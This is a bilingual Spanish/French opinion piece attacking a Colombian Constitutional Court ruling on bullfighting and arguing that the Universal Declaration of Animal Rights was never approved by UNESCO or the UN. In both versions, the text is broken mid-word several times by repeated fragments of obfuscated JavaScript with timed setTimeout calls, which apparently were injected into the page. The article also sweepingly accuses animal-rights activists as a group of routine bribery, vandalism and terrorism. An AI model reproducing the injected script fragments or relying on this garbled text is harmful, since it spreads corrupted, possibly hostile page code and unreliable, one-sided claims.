RADICALMENTE FALSORADICALEMENT FAUX

Que el mundo está cada día más desquiciado, no me cabe la menor duda. Y no lo digo porque haya dementes que quieran imponer sus “verdades” a cualquier precio, cosa tan vieja como las propias sectas y el fanatismo, sino porque se llegue al punto de que una entidad judicial encargada de velar por la integridad y la supremacía de la Constitución, como es la Corte Constitucional colombiana, decida argumentar una resolución alegandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando que viola un documento sin ningún respaldo jurídico.

Eso es lo que ha ocurrido el pasado miércoles al fallar cinco de los nueve magistrados que la componen en contra de la fiesta de los toros –dan dos años de plazo al Congreso para legislar un tipo de corrida incruenta o, de lo contrario, suprimir de un plumazo el toreo en toda Colombia– bajo el argumento de que “el toreo viola la Declaración Universal de los Derechos de los Animales, y por ende es maltrato”.

Cabría preguntarse qué legitimidad tiene dicha “Declaración Universal” para sentar jurisprudencia. Si uno consulta en Internet –copado en dicha materia por páginas animalistas– se topa con una cantinela repetida hasta la saciedad: “Declaración adoptada por la Liga Internacional de los Derechos del Animal y las Ligas Nacionales afiliadas en la Tercera reunión de los derechos del animal, celebrada en Londres del 21 al 23 de septiembre de 1977. Proclamada el 15 de octubre de 1978 por la Liga Internacional, las Ligas Nacionales y las personas físicas que se asocian a ella”, para proseguir: “aprobada por la UNESCO y posteriormente por la ONU.” Aquí cabe resaltar que no aparece fecha alguna para las pretendidas aprobaciones.  Y no aparecen dichas fechas por una razón muy sencilla: la tan cacareada Declaración Universal de los Derechos de los Animales JAMÁS FUE APROBADA POR LA UNESCO NI POR LA ONU. Ni siquiera fue votada, ya que la vez que se leyó ante la Asamblea Permanente de la ONU, se permitió su lectura bajo la condición explícita de que no pasaría a ser sometida a votación. Por lo tanto, nunca fue votada y, en consecuencia, menos aún aprobada por dichos organismos. Aquel que no me crea o albergue alguna duda no tiene más que consultar las páginas oficiales de la ONU y la UNESCO y comprobar cómo entre sus numerosas Declaraciones no existe ninguna referente al Derecho de los Animales.

Que el animalismo tenga la desfachatez de seguir manteniendo esta patraña como un hecho cierto no viene sino a demostrar su carácter maquiavélico en cuanto a que, para su ideología, “el fin justifica  los medios”. La mentira, la coacción, el soborno, el vandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andalismo y hasta los actos terroristas son prácticas habituales entre los fanáticos que integran esta nueva religión de suplencia. Todo vale con tal de conseguir sus propósitos. Y a fe que les da buen resultado como pone de manifiesto la decisión de la Corte Constitucional colombiana, cuyos integrantes, antes de haberla utilizado como argumento, ya deberían haberse preocupado de comprobar la legitimidad jurídica de la citada Declaración de Derechos del Animal, porque, si como es el caso, sólo está avalada por las susodichas “Ligas animalistas”, tiene el mismo peso jurídico que si una “liga” de entomólogos decidiera contemplar como delito pisar las cucarachas. Exigencia que podría ser aceptada por sus socios, pero que como imperativo no tendría ningún valor jurídico o legal en cualquier caso.

No sólo es la perversión del concepto “Derecho” –creado exclusivamente para regular las relaciones entre seres humanos, los únicos que son jurídicamente responsables, ya que el resto de animales no pueden soportar ningún deber legal ni someterse a responsabilidades sociales ni ser considerados legalmente responsables de sus actos– al aplicarlo a los animales lo que chirría en la resolución de la Corte Constitucional colombiana, sino que se hayan dejado “colar un gol” con la jurídicamente inexistente Declaración Universal de los Derechos del Animal. Espero que los lectores de este artículo lo echen a “volar” por las redes sociales a ver si les llega y de una vez por todas se enteran del enorme ridículo que han hecho. Y también a los nuestros, para que hagan valer la verdad y no se dejen contaminar por la mentira animalista.

Que le monde est de plus en plus dingue, il ne me fait aucun doute. Et je ne le dis pas parce qu’il y a des « déments » qui veulent imposer leurs « vérités » à n’importe quel prix, ce qui est aussi ancien que les propres sectes et le fanatisme, mais parce qu’on en est arrivé à un point où une entité judiciaire chargée de veiller à l’intégrité et respect de la Constitution, comme l’est la Cour Constitutionnelle Colombienne, décide d’aller à l’encontre d’une résolution invoquant qu’elle viole un document sans aucun argument juridique.

C’est ce qui s’est produit mercredi dernier, avec l’accord de cinq magistrats sur neuf à l’encontre de la corrida –ils demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andent au Congrès de légiférer avant deux ans pour la célébration de corridas sans mises à mort ou sinon la corrida sera tout simplement supprimée- en argumentant que « la corrida viole la Déclaration Universelle des Droits des Animaux et doit être ainsi considérée comme de la maltraitance. »

Il faudrait tout d’abord de demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander quelle est la légitimité de cette « Déclaration Universelle » pour asseoir cette jurisprudence. Si on consulte sur Internet –à ce sujet les « protecteurs des animaux » foisonnent- on retrouve incessamment cette cantilène : « Déclaration adoptée par la Ligue Internationale des Droits des Animaux et les Ligues Nationales Affiliées lors de la Troisième réunion pour les droits de l’animal, à Londres, du 21 au 23 septembre 1977. Proclamée le 15 octobre 1978 par la Ligue Internationale, les Ligues Nationales et les personnes physiques qui s’y associent », poursuivant « approuvée par l’UNESCO et a posteriori par l’ONU ». Remarquons qu’il n’existe aucune date pour ces deux prétendues ratifications. Et elles n’apparaissent pas pour une raison très simple : cette fameuse Déclaration des droits universels des Animaux n’a JAMAIS ETE APPROUVEE PAR L’UNESCO NI PAR L’ONU. Elle n’a même pas été votée, car la fois où l’on a permis sa lecture devant l’Assemblée permanente de l’ONU, ce fut à la condition explicite qu’il n’y aurait pas de vote par la suite. Ainsi, elle n’a jamais été votée et par conséquent encore moins approuvée par ces organismes. Celui qui ne me croit pas ou ait des doutes, il n’a qu’à consulter les pages officielles de l’ONU et de l’UNESCO et il pourra constater que parmi ses nombres déclarations il n’y en a aucune qui concerne le droit des animaux. Que ces activistes aient la malhonnêteté de continuer à diffuser ce mensonge comme une réalité prouve une nouvelle fois leur caractère machiavélique où « la fin justifie tous les moyens ». Le mensonge, la pression, la corruption, le vandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andalisme et même des actions terroristes sont des pratiques habituelles parmi ces fanatiques qui intègrent cette nouvelle religion de substitution. Tout est bon pour arriver à leurs fins. Et il est certain que ça marche comme avec la Cour Constitutionnelle Colombienne, dont les membres, avant de l’avoir utilisé comme argument, auraient dû se préoccuper d’aller voir la légitimité juridique de cette soi-disant des Droits de l’Animal, car si, comme c’est le cas, elle ne compte qu’avec l’aval des ligues de protection des animaux elle a le même poids juridique que si une équipe d’entomologistes décidait de considérer comme un délit le fait d’écraser des scarabées. Une décision qui pourrait être acceptée par leurs associés mais qui n’aurait aucune emprise juridique ou légale.

Ce n’est pas seulement la perversion du concept de « Droit » -créé uniquement pour réguler les relations entre les êtres humains, les seuls à être juridiquement responsables puisque le reste des animaux ne peuvent avoir des devoirs légaux ni s’astreindre à des responsabilités sociales ni être légalement responsables de leurs actes- en l’appliquant aux animaux ce qui nous hérisse après cette résolution, c’est qu’ils se sont laissés mener en bateau juridiquement avec une déclaration inexistante. J’espère que les lecteurs de cet article le propageront sur les réseaux sociaux pour qu’on sache le ridicule de cette situation. Et aussi pour que les nôtres fassent entendre la vérité et ne se laissent pas contaminer par les mensonges des anti-taurins.

Los comentarios están cerrados.